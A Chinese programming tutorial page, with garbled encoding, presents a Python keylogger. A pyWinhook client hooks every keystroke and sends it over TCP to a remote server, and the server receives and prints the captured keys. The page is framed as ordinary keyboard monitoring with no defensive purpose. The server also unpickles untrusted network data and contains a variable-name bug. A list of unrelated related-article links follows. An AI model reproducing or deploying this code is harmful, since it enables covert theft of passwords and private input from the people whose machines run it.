python實(shí)現(xiàn)監(jiān)聽鍵盤
python實(shí)現(xiàn)監(jiān)聽鍵盤,供大家參考,具體內(nèi)容如下實(shí)現(xiàn)服務(wù)端
import pickle from io import BytesIO import socket #接收數(shù)據(jù) def Server_Recive(ip,port): socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.bind((ip,port)) socket_obj.listen(5) file = 1 while True: connection,address = socket_obj.accept() #接受的數(shù)據(jù) recieved_message = b'' recieved_message_fragment = connection.recv(1024) while recieved_message_fragment: recieved_message += recieved_message_fragment recieved_message_fragment = connection.recv(1024) try: obj = pickle.loads(recieved_message) print(obj['Key'],end=' ') except EOFError: file_name = 'recv_image_' + str(file_on) + '.bmp' recv_image = open(file_name,'wb') recv_image.write(recieved_message) file_on += 1 connection.close() if __name__ == '__main__': Server_IP = '0.0.0.0' Server_Port = 6666 Server_Recive(Server_IP,Server_Port)
鍵盤監(jiān)聽程序
#鍵盤監(jiān)聽 import pythoncom,pyWinhook,pickle,socket from io import BytesIO def Client_PIC(ip,port,obj): try: msg = pickle.dumps(obj) send_message = BytesIO(msg) send_message_fragment = send_message.read(1024) except: send_message = obj send_message_fragment = send_message.read(1024) socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.connect((ip,port)) while send_message_fragment: socket_obj.send(send_message_fragment) send_message_fragment = send_message.read(1024) socket_obj.close() def OnkeyBoardEvent(event): dict_key = {} dict_key['MessageName'] = event.MessageName dict_key['Key'] = event.Key Client_PIC('你自己的ip地址',6666,dict_key) return True def Keylogger(): hm = pyWinhook.HookManager() hm.KeyDown = OnkeyBoardEvent hm.HookKeyboard() pythoncom.PumpMessages() if __name__ == '__main__': Keylogger()
其中的pythoncom,pyWinhook百度查找安裝方法,在此不贅述
運(yùn)行(先運(yùn)行服務(wù)端,而后運(yùn)行監(jiān)聽程序)
以上就是本文的全部內(nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。
相關(guān)文章
python 使用pandas同時(shí)對(duì)多列進(jìn)行賦值
這篇文章主要介紹了python 使用pandas同時(shí)對(duì)多列進(jìn)行賦值操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2021-03-03利用Python實(shí)現(xiàn)自制文件搜索小工具
當(dāng)自己電腦文件很多還有點(diǎn)亂,不記得自己文件放哪里的時(shí)候,用電腦自帶的搜索文件,這個(gè)等待時(shí)間可慢了。所以我們不如自己用python做一個(gè)搜索工具!犄角旮旯的文件都能一秒鐘搜索出來的那種2022-09-09Python序列化基礎(chǔ)知識(shí)(json/pickle)
這篇文章主要為大家詳細(xì)介紹了Python序列化json和pickle基礎(chǔ)知識(shí),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-10-10python使用selenium打開chrome瀏覽器時(shí)帶用戶登錄信息實(shí)現(xiàn)過程詳解
這篇文章主要介紹了python使用selenium打開chrome瀏覽器時(shí)帶用戶登錄信息,本文以實(shí)例給大家來展示如何讓selenium在打開chrome瀏覽器的時(shí)候帶上用戶的登錄信息,感興趣的朋友跟隨小編一起看看吧2022-02-02pytest文檔內(nèi)置fixture的request詳情
這篇文章主要介紹了pytest文檔內(nèi)置fixture的request詳情,文章圍繞主題展開詳細(xì)的內(nèi)容介紹,具有一定的參考價(jià)值,需要的小伙伴可以參考一下2022-08-08python3+PyQt5重新實(shí)現(xiàn)自定義數(shù)據(jù)拖放處理
這篇文章主要為大家詳細(xì)介紹了python3+PyQt5重新實(shí)現(xiàn)自定義數(shù)據(jù)拖放處理,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2018-04-04